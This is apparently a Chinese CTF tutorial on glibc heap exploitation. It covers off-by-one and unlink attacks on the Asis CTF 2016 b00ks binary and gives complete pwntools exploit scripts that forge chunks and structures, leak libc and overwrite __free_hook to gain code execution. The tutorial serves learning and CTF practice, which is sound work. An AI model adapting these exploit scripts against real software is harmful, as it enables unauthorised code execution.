pwn堆入门系列教程1
字数 1702 2025-08-03 16:49:47

Pwn堆入门系列教程1:Off-by-one与Unlink漏洞详解

环境搭建

搭建Pwn环境是学习堆漏洞利用的第一步。建议使用Ubuntu系统,并安装以下工具:

  • gdb + peda/pwndbg/gef调试插件
  • pwntools Python库
  • glibc源码(便于理解堆管理机制)
  • 相关调试符号

Off-by-one漏洞原理

基本概念

Off-by-one是指单字节缓冲区溢出漏洞,通常由以下原因导致:

  1. 循环语句写入数据时循环次数设置错误
  2. 字符串操作不当
  3. 写入的size正好多一个字节

利用思路

根据溢出字节的可控性分为两种情况:

  1. 溢出字节为可控制任意字节

    • 通过修改size造成块结构重叠
    • 泄露其他块数据或覆盖其他块数据
    • 可使用NULL字节溢出方法
  2. 溢出字节为NULL字节

    • 当size为0x100时,NULL字节溢出会清prev_in_use位
    • 前块会被认为是free块,可利用unlink方法处理
    • 可伪造prev_size造成块重叠

示例代码

#include <stdio.h>
#include <malloc.h>

int main() {
    char str[5]={0};
    str[5] = '\0';  // 典型的off-by-one错误
    return 0;
}

Asis CTF 2016 b00ks题目分析

题目结构

书本结构体定义:

struct book {
    int id;
    char *name;
    char *description;
    int size;
};

Off-by-one漏洞位置

漏洞出现在以下函数中:

signed __int64 __fastcall sub_9F5(_BYTE *a1, int a2) {
    int i; 
    _BYTE *buf;
    
    if (a2 <= 0) return 0LL;
    buf = a1;
    for (i = 0; ; ++i) {
        if (read(0, buf, 1uLL) != 1) return 1LL;
        if (*buf == 10) break;
        ++buf;
        if (i == a2) break;
    }
    *buf = 0; // 危险部分,多写了一个0到末尾
    return 0LL;
}

Off-by-one攻击过程

  1. 填充满author区域

    • 使用32个'a'字符填充author区域
  2. 创建堆块1

    • 创建大小为48的book1
    • 创建较大的堆块2(0x21000大小)
  3. 泄露堆块1地址

    • 通过输出author信息泄露堆块1地址
  4. 伪造book结构体

    • 编辑堆块1内容,构造伪造的book结构体
    • 关键payload:'a'*0xa0 + p64(1) + p64(first_heap + 0x38) + p64(first_heap + 0x40) + p64(0xffff)
  5. 利用off-by-one覆盖

    • 再次修改author名称,覆盖堆块1地址的最后一位为\x00
  6. 任意地址读写

    • 通过伪造的结构体获得任意读写能力
    • 读取libc地址
    • 修改__free_hook为one_gadget地址

关键EXP代码解析

def exp():
    # 填充author
    io.sendlineafter(": ", "author".rjust(0x20,'a'))
    
    # 创建堆块
    create(48, '1a', 240, '1b') #1
    create(0x21000, '2a', 0x21000, '2b') #2
    
    # 泄露堆地址
    book_id_1, book_name, book_des, book_author = printbook(1)
    first_heap = u64(book_author[32:32+6].ljust(8,'\x00'))
    
    # 伪造结构体
    payload = 'a'*0xa0 + p64(1) + p64(first_heap + 0x38) + p64(first_heap + 0x40) + p64(0xffff)
    edit(1, payload)
    author_name("author".rjust(0x20,'a'))
    
    # 泄露libc地址
    book_id_1, book_name, book_des, book_author = printbook(1)
    book2_name_addr = u64(book_name.ljust(8,'\x00'))
    book2_des_addr = u64(book_des.ljust(8, '\x00'))
    libc_base = book2_des_addr - 0x5a8010  # 通过vmmap获取的固定偏移
    
    # 获取one_gadget
    free_hook = libc_base + libc.symbols['__free_hook']
    one_gadget = libc_base + 0x4526a  # 使用one_gadget工具找到的偏移
    
    # 任意地址写
    payload = p64(free_hook)
    edit(1, payload)
    edit(2, p64(one_gadget))
    remove(2)  # 触发free_hook执行one_gadget

Unlink漏洞原理

基本概念

Unlink是glibc中用于从双向链表中移除一个chunk的操作,其基本逻辑如下:

void unlink(malloc_chunk P, malloc_chunk BK, malloc_chunk *FD) {
    FD = P->fd;
    BK = P->bk;
    FD->bk = BK;
    BK->fd = FD;
}

利用思路

通过伪造chunk,使得unlink操作时:

  1. 伪造FD和BK指针
  2. 绕过安全检查
  3. 最终实现将*ptr改写为ptr-0x18的效果

Unlink攻击过程

  1. 泄露堆地址

    • 同样利用off-by-one漏洞泄露堆地址
  2. 创建和释放堆块

    • 创建多个堆块后释放特定堆块,使堆布局符合要求
  3. 伪造chunk

    • 构造伪造的chunk头和fd/bk指针
    • 关键payload:p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr-0x10) + '\x00'*0xe0 + p64(0x100)
  4. 触发unlink

    • 通过释放相邻chunk触发unlink操作
  5. 任意地址读写

    • 利用unlink后的效果修改指针
    • 泄露libc地址
    • 修改__free_hook为system地址

关键EXP代码解析

def exp():
    # 填充并泄露堆地址
    io.sendlineafter(": ", "author".rjust(0x20,'a'))
    create(0x20, '11111', 0x20, 'b') #1
    printf()
    io.recvuntil('Author: ')
    io.recvuntil("author")
    first_heap = u64(io.recvline().strip().ljust(8, '\x00'))
    
    # 创建和释放堆块
    create(0x20, "22222", 0x20, "desc buf") #2
    create(0x20, "33333", 0x20, "desc buf") #3
    remove(2)
    remove(3)
    
    # 伪造chunk
    create(0x20, "33333", 0x108, 'overflow') #4
    create(0x20, "44444", 0x100-0x10, 'target') #5
    create(0x20, "/bin/sh\x00", 0x200, 'to arbitrary read and write') #6
    
    heap_base = first_heap - 0x80
    ptr = heap_base + 0x180
    payload = p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr-0x10) + '\x00'*0xe0 + p64(0x100)
    edit(4, payload)
    remove(5)  # 触发unlink
    
    # 修改指针实现任意读写
    payload = p64(0x30) + p64(4) + p64(first_heap+0x40)*2
    edit(4, payload)
    edit(4, p64(heap_base + 0x1e0))
    
    # 泄露libc地址
    printf()
    for _ in range(3):
        io.recvuntil('Description: ')
    content = io.recvline()
    libc_base = u64(content.strip().ljust(8, '\x00'))-0x3c4b78
    
    # 获取system地址
    system_addr = libc_base + libc.symbols['system']
    free_hook = libc_base + libc.symbols['__free_hook']
    
    # 任意地址写
    payload = p64(free_hook) + p64(0x200)
    edit(4, payload)
    edit(6, p64(system_addr))
    remove(6)  # 触发system("/bin/sh")

调试技巧

  1. 使用gdb查找字符串

    gdb-peda$ find author
    
  2. 查看内存映射

    gdb-peda$ vmmap
    
  3. 计算固定偏移

    • 通过vmmap获取libc基地址
    • 用泄露的地址减去基地址得到偏移
  4. 堆块复用观察

    • free后的小堆块在再次malloc时会复用相同的堆块

关键知识点总结

  1. Off-by-one利用要点

    • 通过单字节溢出修改关键数据
    • 结合堆布局实现信息泄露和任意地址读写
  2. Unlink利用要点

    • 伪造chunk头和fd/bk指针
    • 绕过安全检查(FD->bk == P && BK->fd == P)
    • 实现指针改写效果
  3. 通用利用技巧

    • 通过堆布局控制内存结构
    • 利用__free_hook或malloc_hook实现代码执行
    • 结合信息泄露绕过ASLR
  4. 防护绕过

    • 针对不同glibc版本调整利用方式
    • 注意不同保护机制(如NX, ASLR, RELRO等)的影响

通过本教程,你应该已经掌握了off-by-one和unlink漏洞的基本原理和利用方法。建议在实际环境中复现题目,通过调试加深理解。

Pwn堆入门系列教程1:Off-by-one与Unlink漏洞详解 环境搭建 搭建Pwn环境是学习堆漏洞利用的第一步。建议使用Ubuntu系统,并安装以下工具: gdb + peda/pwndbg/gef调试插件 pwntools Python库 glibc源码(便于理解堆管理机制) 相关调试符号 Off-by-one漏洞原理 基本概念 Off-by-one是指单字节缓冲区溢出漏洞,通常由以下原因导致: 循环语句写入数据时循环次数设置错误 字符串操作不当 写入的size正好多一个字节 利用思路 根据溢出字节的可控性分为两种情况: 溢出字节为可控制任意字节 : 通过修改size造成块结构重叠 泄露其他块数据或覆盖其他块数据 可使用NULL字节溢出方法 溢出字节为NULL字节 : 当size为0x100时,NULL字节溢出会清prev_ in_ use位 前块会被认为是free块,可利用unlink方法处理 可伪造prev_ size造成块重叠 示例代码 Asis CTF 2016 b00ks题目分析 题目结构 书本结构体定义: Off-by-one漏洞位置 漏洞出现在以下函数中: Off-by-one攻击过程 填充满author区域 使用32个'a'字符填充author区域 创建堆块1 创建大小为48的book1 创建较大的堆块2(0x21000大小) 泄露堆块1地址 通过输出author信息泄露堆块1地址 伪造book结构体 编辑堆块1内容,构造伪造的book结构体 关键payload: 'a'*0xa0 + p64(1) + p64(first_heap + 0x38) + p64(first_heap + 0x40) + p64(0xffff) 利用off-by-one覆盖 再次修改author名称,覆盖堆块1地址的最后一位为\x00 任意地址读写 通过伪造的结构体获得任意读写能力 读取libc地址 修改__ free_ hook为one_ gadget地址 关键EXP代码解析 Unlink漏洞原理 基本概念 Unlink是glibc中用于从双向链表中移除一个chunk的操作,其基本逻辑如下: 利用思路 通过伪造chunk,使得unlink操作时: 伪造FD和BK指针 绕过安全检查 最终实现将* ptr改写为ptr-0x18的效果 Unlink攻击过程 泄露堆地址 同样利用off-by-one漏洞泄露堆地址 创建和释放堆块 创建多个堆块后释放特定堆块,使堆布局符合要求 伪造chunk 构造伪造的chunk头和fd/bk指针 关键payload: p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr-0x10) + '\x00'*0xe0 + p64(0x100) 触发unlink 通过释放相邻chunk触发unlink操作 任意地址读写 利用unlink后的效果修改指针 泄露libc地址 修改__ free_ hook为system地址 关键EXP代码解析 调试技巧 使用gdb查找字符串 : 查看内存映射 : 计算固定偏移 : 通过vmmap获取libc基地址 用泄露的地址减去基地址得到偏移 堆块复用观察 : free后的小堆块在再次malloc时会复用相同的堆块 关键知识点总结 Off-by-one利用要点 : 通过单字节溢出修改关键数据 结合堆布局实现信息泄露和任意地址读写 Unlink利用要点 : 伪造chunk头和fd/bk指针 绕过安全检查(FD->bk == P && BK->fd == P) 实现指针改写效果 通用利用技巧 : 通过堆布局控制内存结构 利用__ free_ hook或malloc_ hook实现代码执行 结合信息泄露绕过ASLR 防护绕过 : 针对不同glibc版本调整利用方式 注意不同保护机制(如NX, ASLR, RELRO等)的影响 通过本教程,你应该已经掌握了off-by-one和unlink漏洞的基本原理和利用方法。建议在实际环境中复现题目,通过调试加深理解。